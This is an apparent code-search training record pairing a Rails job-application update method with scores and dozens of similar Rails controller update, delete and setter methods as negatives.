format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }
format.json { render :show, status: :ok, location: @job_application }
else
format.html { render :edit }
format.json { render json: @job_application.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@jobapp = Jobapp.find(params[:id])\n\n respond_to do |format|\n if @jobapp.update_attributes(params[:jobapp])\n format.html { redirect_to @jobapp, notice: 'Jobapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to vacancy_path(@job_application.vacancy_id), notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n flash[:notice] = 'JobApplication was successfully updated.'\n format.html { redirect_to(@job_application) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n flash[:notice] = 'JobApplication was successfully updated.'\n format.html { redirect_to(@job_application) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to jobs_path, notice: 'Your review has been submitted' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
"def update\n if @jobapp.update(jobapp_params)\n flash[:success] = \"Jobapp was successfully updated.\"\n redirect_to action: \"index\"\n else\n render \"edit\" \n end\n end",
"def update\n @user=current_user\n @job=Job.find(session[:job_id])\n @[email protected]\n @jobapplication.email=current_user.email\n respond_to do |format|\n if @jobapplication.update(jobapplication_params)\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @jobapplication }\n else\n format.html { render :edit }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_site_application.update(job_site_application_params)\n format.html { redirect_to @job_site_application, notice: 'Job site application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job_site_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n @job_request = job_requests.find( params[ :id ] )\n rescue ActiveRecord::RecordNotFound\n @job_request = nil\n end\n\n respond_to do |format|\n if @job_request && @job_request.update_attributes( params[ :job_request ] )\n format.html { redirect_to root_path, notice: \"Job Requests Updated Successfully\"}\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, notice: \"Update Failed\" }\n format.json { render json: @job_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applicant_job.update(applicant_job_params)\n format.html { redirect_to @applicant_job, notice: 'Applicant job was successfully updated.' }\n format.json { render :show, status: :ok, location: @applicant_job }\n else\n format.html { render :edit }\n format.json { render json: @applicant_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job(job:)\n response = HTTParty.put(\"#{@host}/api/jobs/#{job[:id]}\", body: {job: job, api_key: @api_key})\n \n return response.success?\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to root_path, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @launched_job.update(launched_job_params)\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jobapplication.update(jobapplication_params)\n if((cookies[:employerID]!=\"\") && (!cookies[:employerID].is_a?NilClass))\n @foundjobseeker = Jobseeker.find(@jobapplication.jobseeker_id)\n UserNotifier.jobapplication_status_update_email(@foundjobseeker).deliver\n end\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @jobapplication }\n else\n format.html { render :edit }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @job.update(job_params)\n @job.update(category: @category)\n @job.update(keywords: @keywords)\n render json: @job, status: :accepted\n else\n render json: @job.errors, status: :unprocessable_entity\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@job)\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @create_job.update(create_job_params)\n format.html { redirect_to @create_job, notice: 'job was successfully updated.' }\n format.json { render :show, status: :ok, location: @create_job }\n else\n format.html { render :edit }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n if @job.update_attributes(params[:job])\n response_message = {:message => \"Job updated successfully.\", :job => @job}\n else\n response_message = {:message => \"Job updation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message }\n format.json { render :json => response_message }\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n if @training_active_job.update_attributes(params[:training_active_job])\n format.html { redirect_to @training_active_job, notice: 'Active job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training_active_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @emp_job = EmpJob.find(params[:id])\n\n respond_to do |format|\n if @emp_job.update_attributes(params[:emp_job])\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n byebug\n respond_to do |format|\n if @job.update(send(\"#{@job.type.underscore.to_sym}_params\"))\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, success: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n if @job_compact.update_attributes(params[:job_compact])\n format.html { redirect_to @job_compact, notice: 'Job compact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_compact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully accepted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @act_job.update(act_job_params)\n format.html { redirect_to @act_job, notice: 'Act job was successfully updated.' }\n format.json { render :show, status: :ok, location: @act_job }\n else\n format.html { render :edit }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n record_activity :update, @job\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @job = current_member.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(job_params)\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_item = @job.job_items.find(params[:id])\n\n respond_to do |format|\n if @job_item.update_attributes(params[:job_item])\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = current_user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = t('jobs_controller.update.success')\n format.html { redirect_to @job}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @myjob.update(myjob_params)\n format.html { redirect_to @myjob, notice: 'Myjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @myjob }\n else\n format.html { render :edit }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employment_application.update(employment_application_params)\n format.html { redirect_to @employment_application, notice: 'Employment application was successfully updated.' }\n format.json { render :show, status: :ok, location: @employment_application }\n else\n format.html { render :edit }\n format.json { render json: @employment_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if UbiquoJobs.manager.update(params[:id], params[:job])\n flash[:notice] = t(\"ubiquo.jobs.job_edited\")\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n format.js\n else\n flash[:error] = t(\"ubiquo.jobs.cant_edit\")\n format.html { render :action => \"edit\" }\n format.xml { render :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @client_application.update(client_application_params)\n format.html { redirect_to @client_application, notice: 'Client application was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_application }\n else\n format.html { render :edit }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @applied_job.update(applied_job_params)\n format.html { redirect_to @applied_job, notice: 'Applied job was successfully updated.' }\n format.json { render :show, status: :ok, location: @applied_job }\n else\n format.html { render :edit }\n format.json { render json: @applied_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single camp_application based on the id\n camp_application = CampApplication.find_by(id: the_id)\n\n # update it\n if camp_application.update!(\n camp_id: params[:camp_id],\n application_id: params[:application_id]\n )\n render json: camp_application.as_json\n else\n render json: {errors: camp_application.errors.full_messages}\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(edit_admin_job_path(@job), :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @application = Application.find(params[:id])\n\n respond_to do |format|\n if @application.update_attributes(params[:application])\n format.html { redirect_to root_path, notice: 'Application was successfully submitted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end",
"def update\n if @application.update(application_params)\n render json: @application, status: :ok, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @app_request.update(app_request_params)\n format.html { redirect_to @app_request, notice: 'App request was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_request }\n else\n format.html { render :edit }\n format.json { render json: @app_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pending_job.update(pending_job_params)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully updated.' }\n format.json { render :show, status: :ok, location: @pending_job }\n else\n format.html { render :edit }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_form.update(job_form_params)\n format.html { redirect_to @job_form, notice: 'Job form was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job_form.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app = @client.app(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app]) # FIXME\n format.html { redirect_to @app, notice: 'App was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def application_params\n params.fetch(:application, {}).permit(:job_id)\n end",
"def update\n @saved_job = SavedJob.find(params[:id])\n\n respond_to do |format|\n if @saved_job.update_attributes(params[:saved_job])\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @app = App.find(params[:id])\n\n if @app.update(app_params)\n head :no_content\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @jenkins_app_config.update(jenkins_app_config_params)\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully updated.' }\n format.json { render :show, status: :ok, location: @jenkins_app_config }\n else\n format.html { render :edit }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n if !owner?(@job)\n flash[:error] = \"Dazu hast du keine Berechtigung!\"\n elsif @job.update_attributes(params[:job])\n ConflictHelper.delete_management(@device, @job.id-1)\n flash[:success] = \"Auftrag wurde erfolgreich geaendert\"\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_application.update(task_application_params)\n format.html { redirect_to @task_application, notice: 'Task application was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @task_application }\n else\n format.html { render action: 'edit' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_list = JobList.find(params[:id])\n\n respond_to do |format|\n if @job_list.update_attributes(params[:job_list])\n format.html { redirect_to @job_list, notice: 'Job list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_list.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7554603",
"0.75157005",
"0.747418",
"0.7409727",
"0.73861325",
"0.73861325",
"0.73682624",
"0.7362379",
"0.72317976",
"0.7058822",
"0.7058822",
"0.6948372",
"0.6858128",
"0.6845131",
"0.6788649",
"0.675084",
"0.67361444",
"0.6678714",
"0.6671946",
"0.6636824",
"0.6636824",
"0.6636824",
"0.6636824",
"0.6636824",
"0.6636824",
"0.6636824",
"0.6622936",
"0.6622936",
"0.65875316",
"0.6566493",
"0.6563896",
"0.6546432",
"0.6546432",
"0.6546432",
"0.6529399",
"0.6502578",
"0.649022",
"0.6466471",
"0.6402233",
"0.64020604",
"0.6401327",
"0.64003",
"0.64000833",
"0.6399406",
"0.6339923",
"0.6337966",
"0.6326661",
"0.6314177",
"0.6310718",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.6309518",
"0.62924397",
"0.6286242",
"0.6278211",
"0.62744457",
"0.62739336",
"0.6267867",
"0.6265728",
"0.62591475",
"0.6256867",
"0.62465525",
"0.624083",
"0.62398976",
"0.6221505",
"0.62096435",
"0.620488",
"0.619574",
"0.6195333",
"0.6191894",
"0.6188832",
"0.61876863",
"0.61834925",
"0.6182866",
"0.618021",
"0.6172741",
"0.6170658",
"0.61695164",
"0.6165867",
"0.6163734",
"0.6159288",
"0.61457",
"0.6142146",
"0.6114396",
"0.6111474",
"0.611006",
"0.60986614",
"0.60929406",
"0.609151"
] | 0.74696577 | 3 |
DELETE /job_applications/1 DELETE /job_applications/1.json | def destroy
@job_application.destroy
respond_to do |format|
format.html { redirect_to job_applications_url, notice: t('job_applications_controller.job_applications_delete_success') }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n #@jobapp = Jobapp.find(params[:id])\n @jobapp.destroy\n\n respond_to do |format|\n format.html { redirect_to jobapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to job_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n return unless appAccess?(@application.job.id)\n id = @application.job.id\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to show_apps_path(:id=>id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.delete\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'Job application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_application = JobApplication.find(params[:id])\n @job_application.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_applications_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @job_site_application.destroy\n respond_to do |format|\n format.html { redirect_to job_site_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @job_application.destroy\n respond_to do |format|\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jobapplication.destroy\n respond_to do |format|\n format.html { redirect_to jobapplications_url, notice: 'Jobapplication was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
